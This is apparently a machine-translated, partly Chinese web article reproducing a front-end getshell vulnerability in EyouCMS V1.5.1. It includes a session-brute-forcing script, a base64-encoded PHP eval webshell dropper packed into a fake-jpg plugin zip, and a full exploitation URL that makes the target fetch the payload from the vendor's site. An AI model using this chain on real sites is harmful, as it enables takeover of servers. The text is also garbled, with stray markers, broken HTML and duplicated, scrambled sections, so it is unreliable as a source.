Maison >Opération et maintenance >Sécurité >Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1

Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1

PHPz
PHPzavant
2023-05-20 20:14:403419parcourir

0x00 Introduction à la vulnérabilité

Zanzan Network Technology EyouCMS (EyouCMS) est membre de China Zanzan Network Technology Company, une société open source système de gestion de contenu (CMS) basé sur ThinkPHP.

Eyoucms v1.5.1 et les versions précédentes présentent des vulnérabilités de connexion utilisateur en arrière-plan et d'inclusion de fichiers. Cette vulnérabilité permet à un attaquant de définir la session d'un administrateur au premier plan en appelant l'API et le plug-in distant en arrière-plan. le fichier de téléchargement contient getshell.

0x01 Version concernée

EyouCMS <= 1.5.1EyouCMS <= 1.5.1

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p># 🎜🎜#0x02 Configuration de l'environnement<p><br><br>Téléchargement<img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Version de téléchargement du site officiel V1.5.1</p>Lien de téléchargement : https://qiniu.eyoucms.com/EyouCMS-V1 . 5.1-UTF8-SP3_142.zip<p><img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Installation</p>Déploiement simple via l'environnement intégré phpstudy<p><img src="https://img.php.cn/upload/article/%20000%20/000/164/168458488237526.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"><br><br><br>0x03 Analyse de vulnérabilité<img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">#🎜 🎜## 🎜🎜#Définissez la session administrateur à la réception sur application/api/controller/Ajax.php:215</p>
<p><img src="https://img.php.cn/upload%20/article/000/000%20/164/168458488279346.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"></p>
<h3>
<code>get_token</code>#🎜 🎜#<strong>La fonction est Elle peut être appelée à volonté par la réception De plus, la variable </strong>
</h3>
<code>$name</code><p><br>. dans le paramètre formel est également transmis via http. Suivez la fonction du jeton, comme indiqué dans la figure ci-dessous. <br><img src="https://img.php.cn/upload/article/000/000/164/168458488210919.jpg" alt="Comment reproduire la vulnérabilité getshell frontale d'EyouCMS V1.5.1"> <br><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Il existe une opération pour mettre la session en surbrillance. Le nom est contrôlable et la valeur est la valeur de l'horodatage de la requête md5. Incontrôlable. </p>Vous pouvez essayer de créer une session pour l'administrateur en arrière-plan via cette opération de configuration de session. Ensuite, nous trions la logique de connexion de l'administrateur en arrière-plan. Dans application/admin/controller/Base.php:54<img src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg" alt="Comment procéder avec EyouCMS V1 .5.1 Récurrence de la vulnérabilité GetShell du frontend"><p><br>Cela implique deux sessions, une admin_login_expire et une admin_id<img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

admin_login_expire

# 🎜 🎜# (Cette session effectuera une vérification de soustraction et doit remplir certaines conditions)
如何进行EyouCMS V1.5.1 前台getshell漏洞复现admin_id

(Cette session est suffisante. La valeur ne sera pas vérifié)
Après avoir mis en place ces deux sessions, on continue d'en voir une autre dans le jugement de condition if 如何进行EyouCMS V1.5.1 前台getshell漏洞复现

check_priv

# 🎜🎜#Function, suivi pour voir :
Comment procéder avec EyouCMS V1. 5.1 Récurrence de la vulnérabilité getshell front-end

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
admin_info.role_id(satisfaire inférieur ou égal à 0)

Configuration Après trois sessions, vous pouvez accéder à l'arrière-plan, comme indiqué sur l'image :
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

#🎜🎜#Téléchargez le getshell du plug-in distant en arrière-plan sur application/admin/controller/Weapp .php:1235# 🎜🎜##🎜🎜##🎜🎜# Passez une URL $ ici, puis effectuez une analyse d'URL, l'hôte doit être eyoucms.com. #🎜🎜#C'est-à-dire que le programme est limité au téléchargement et à l'installation de plug-ins à partir du site officiel, mais cette vérification est trop simple et peut être contournée. #🎜🎜#Ensuite, l'étape suivante consiste à demander ce lien de téléchargement, à le décompresser et à inclure config.php. #🎜🎜##🎜🎜##🎜🎜##🎜🎜#Le jugement standard du plug-in effectué plus tard ne fonctionnera plus. #🎜🎜##🎜🎜##🎜🎜#0x04 Exploitation de vulnérabilité#🎜🎜##🎜🎜##🎜🎜#Définir une session administrateur à la réception#🎜🎜#Nous pouvons d'abord supprimer la session administrateur après une connexion réussie Comparez avec la session utilisateur ordinaire qui n'est pas connectée#🎜🎜#Administrateur : #🎜🎜##🎜🎜##🎜🎜##🎜🎜#Utilisateur ordinaire : #🎜🎜##🎜🎜##🎜🎜##🎜 🎜 #Appelez la fonction get_token pour définir la session nommée admin_login_expire#🎜🎜##🎜🎜##🎜🎜##🎜🎜# Vérifiez ensuite la session de l'utilisateur ordinaire#🎜🎜##🎜🎜##🎜🎜##🎜 🎜#a été configuré avec succès. #🎜🎜#De même, nous pouvons ajouter admin_id et admin_info.roke_id. #🎜🎜##🎜🎜#Mais #🎜🎜# cette chaîne md5 ne répond évidemment pas aux exigences de l'analyse de vulnérabilité, donc la session est constamment actualisée via le script jusqu'à ce que la valeur md5 appropriée soit trouvée #🎜🎜#rrreee#🎜🎜 # Résultat en cours d'exécution : #🎜🎜##🎜🎜##🎜🎜#

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer